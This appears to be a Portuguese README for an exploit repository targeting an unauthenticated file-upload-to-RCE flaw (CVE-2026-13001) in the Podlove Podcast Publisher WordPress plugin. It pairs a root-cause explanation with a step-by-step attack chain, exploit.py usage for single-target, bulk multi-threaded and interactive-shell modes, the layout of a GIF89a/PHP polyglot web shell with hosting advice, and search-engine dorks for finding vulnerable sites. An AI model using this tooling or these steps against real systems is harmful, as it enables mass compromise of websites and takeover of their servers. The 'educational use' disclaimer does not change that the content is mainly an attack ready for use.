
CVSS 9.8 (Crítico) | Upload Arbitrário de Arquivo Não Autenticado levando à Execução Remota de Código
Vulnerabilidade crítica no plugin WordPress Podlove Podcast Publisher (versões até e incluindo 4.5.1) que permite que atacantes não autenticados enviem arquivos PHP arbitrários para o servidor por meio da funcionalidade de cache de imagens, levando à Execução Remota de Código (RCE).
A vulnerabilidade explora uma discrepância entre duas funções internas que analisam extensões de arquivo de maneiras diferentes:
| Função | Método | Entrada: payload.php?.gif | Resultado |
|---|---|---|---|
is_image() | basename() seguido de pathinfo() | payload.php?.gif | .gif (passa na validação) |
extract_file_extension() | parse_url() seguido de pathinfo() | /payload.php | .php (salvo em disco) |
A vulnerabilidade existe porque duas funções no plugin Podlove analisam a mesma URL mas extraem extensões de arquivo diferentes:
is_image() — Validação (em lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
A função verifica:
exif_imagetype() - requer cabeçalho de imagem válido (GIF89a)wp_check_filetype_and_ext()Como basename() inclui a string de consulta, a extensão aparece como gif - não está na lista de bloqueio.
extract_file_extension() — Nomeação de Arquivo (em lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
O arquivo é salvo com a extensão .php no disco.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
O shell_polyglot.gif.php é um arquivo poliglota que é válido tanto como imagem GIF quanto como PHP:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Importante: O poliglota deve ser hospedado como um arquivo estático (ex.: Cloudflare R2, AWS S3, nginx sem PHP). Se o servidor de hospedagem processar PHP, o código é executado no servidor de hospedagem em vez de ser entregue como conteúdo bruto ao alvo.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:
wp-content/cache/podlove/podlove_image_cache_urlEsta vulnerabilidade é um contorno da correção para CVE-2025-10147 (Podlove <= 4.2.6).
| Aspecto | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|
Consulte analysis/CVE_COMPARISON.md para uma comparação detalhada.
APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.
Esta ferramenta é destinada a pesquisadores de segurança e testadores de penetração com autorização explícita por escrito para testar sistemas alvo. O acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido desta ferramenta.
ghostpel-sec — Pesquisa em Segurança e Desenvolvimento de Exploits
Este projeto está licenciado sob a ghostpel-sec Security Research License.
| Campo | Valor |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8 (Crítico) |
| CWE | CWE-20 (Validação Incorreta de Entrada) |
| Plugin | Podlove Podcast Publisher |
| Afetado | Versões até e incluindo 4.5.1 |
| Corrigido | 4.5.2 |
| Tipo | Upload Arbitrário de Arquivo Não Autenticado para RCE |
| Pesquisador | Talal Nasraddeen (via Wordfence) |
| Publicado | 14 de julho de 2026 |
| Causa raiz | Nenhuma validação de tipo de arquivo | Contorno de validação via confusão de extensão |
| Técnica | Upload direto de arquivo PHP | Poliglota GIF89a + truque de query na URL |
| Correção aplicada | Adicionado is_image() com lista de bloqueio | Corrigida a consistência do parsing de extensão |